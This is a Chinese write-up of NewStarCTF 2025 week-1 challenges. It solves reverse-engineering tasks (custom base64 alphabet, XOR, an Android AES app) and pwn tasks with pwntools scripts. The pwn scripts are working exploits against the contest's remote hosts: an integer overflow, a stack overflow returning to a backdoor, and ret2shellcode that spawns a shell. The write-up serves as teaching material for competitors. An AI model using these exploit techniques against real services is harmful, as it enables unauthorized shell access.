NewStarCTF2025-WEEK1

Reverse

Strange Base

IDA定位到函数

明显是将我们的输入结果base64加密后和buf2比较

跟进分析base64_encode函数

发现很明显的base64加密特征,直接解密发现失败

大概率是换表base64,跟进上面的table提取出表解密即可

解密

python 复制代码
import base64
import string

str1 = "T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9=" # 密文

string1 = "HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXVKJNMF"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))

flag{Wh4t_a_cra2y_8as3!!!}

X0r

IDA分析主函数代码,发现把我们的输入存储到str中,每三个为一组,每组内按下标分别进行异或

直接对照逻辑逆向就行

python 复制代码
enc="anu`ym7wKLl$P]v3q%D]lHpi"
key=[0x13,0x13,0x51]
enc_list=[0]*len(enc)
flag=""
for i in range(len(enc)):
    enc_list[i]=(ord(enc[i])^key[i%3])
for i in range(len(enc)):
    if i%3==0:
        flag+=chr(enc_list[i]^0x14)
    elif i%3==1:
        flag+=chr(enc_list[i]^0x11)
    else:
        flag+=chr(enc_list[i]^0x45)
print(flag)

flag{y0u_Kn0W_b4s1C_xOr}

Puzzle

IDA分析主函数,发现flag被切分为四个部分,那我们只需要找到四个部分即可

按题目说明依次找出part1 part2 part3 part4即可

查字符串找到part4

下面有个提示second

查交叉引用,得到part2

字符串列表中还存在

看交叉引用,得到part1

还有可疑串

继续查看交叉引用

将数据异或得到part3

拼在一起就行

flag{Do_Y0u_Like_7his_Jigs@w_puzz1e_Gam3}

EzMyDroid

JADX分析APK文件

找到加密函数和主要加密逻辑

发现加密过程是把我们的输入先进行AES加密,然后BASE64加密,全部都在Java层

所以直接解密base64,再解AES即可

flag{@_g00d_st@r7_f0r_ANDROID}

plzdebugme

IDA分析主函数

发现经过了很多种加密,直接逆向算法的话耗时较大,所以这里选择动调的方式

直接在最后依次加密完成后下断点,动调提取数据即可

触发断点后在flag处提取数据

flag{It3_D3bugG_T11me!_le3_play}

PWN

GNU Debugger

是一个熟悉GDB的题,按照提示走就行

第一关是获取R12中的值

按c后输入R12的值即可来到第二关

第二关是获取内存地址处的数据

获取内存中数据然后厨子转字符串,来到第三关

要求我们下断点,在该地址处下断点

触发断点后一直ni到最后一关

最后一关是修改地址0x7fffffffd7d4处的值为0xdeadbeef

先查看该处的值,然后通过set进行修改,得到最终flag

INTbug

IDA查看func

因为这里的v1为int16,是一个有符号的16位整数,最高位为符号位

所以我们只需要输入32768个1,使得v1溢出为负数即可

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p=process("./INTbug")
p=remote("47.94.87.199",34898)
# gdb.attach(p)
# pause()
p.recvline("welcome to NewStarCTF2025!\n")
payload = b'1\n' * 32768
p.sendline(payload)
p.interactive()

pwn's door

IDA查看,发现只是把我们的输入进行比较

满足条件即可获取权限

编写脚本

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p=process("./door")
p=remote("39.106.48.123",30317)
p.recvline()
binsh=0x6B6579
p.sendline(str(binsh))
p.interactive()

overflow

查看main

直接跟进try

发现存在栈溢出,覆盖长度为0x100+0x8

编写payload

这里会有EOF,需要一个ret滑一下

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./overflow")
p=remote("39.106.48.123",37508)
p.recvline()
backdoor=0x0401200
ret=0x401016
p.sendline(b"a"*0x108+p64(ret)+p64(backdoor))
p.interactive()

input_function

我们可以发现buf映射到的虚拟地址具有可读可写可执行的权限

也可以用vmmap查看

并且后续会调用buf,典型的ret2shellcode,编写EXP

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p=process("./input_function")
p=remote("39.106.48.123",36843)
p.recvline("please input a function(after compile)")
# gdb.attach(p)
# pause()
payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
相关推荐
见青..10 小时前
phpMyAdmin权限提升
web安全·网络安全·phpmyadmin
数据知道11 小时前
邮件安全实战:SPF/DKIM/DMARC 配置与钓鱼绕过
网络·安全·web安全·网络安全·邮件安全
世界尽头与你15 小时前
Android Root 检测原理
android·安全·网络安全·渗透测试
kp0000015 小时前
如何平衡模型输出的“有用性”和“安全性
人工智能·安全·网络安全·信息安全·ai安全
世界尽头与你17 小时前
iOS 越狱检测原理
安全·网络安全·ios·信息安全·渗透测试
kp000001 天前
大模型输出造成信息泄露类型
人工智能·网络安全·信息安全·ai安全
kp000001 天前
System Prompt Leakage(系统提示词泄露)及安全防御
网络·安全·网络安全·信息安全·prompt·ai安全
X7x51 天前
攻防对抗的结构化思维:深度拆解网络杀伤链(Kill Chain)与现代防御演进
网络安全·网络攻击模型·安全架构·网络杀伤链·kill chain
kp000001 天前
AI大模型,如何区分善意提问与Prompt注入攻击
人工智能·网络安全·信息安全·prompt·ai安全
kp000002 天前
AI系统输入安全基线
人工智能·安全·网络安全·信息安全·ai安全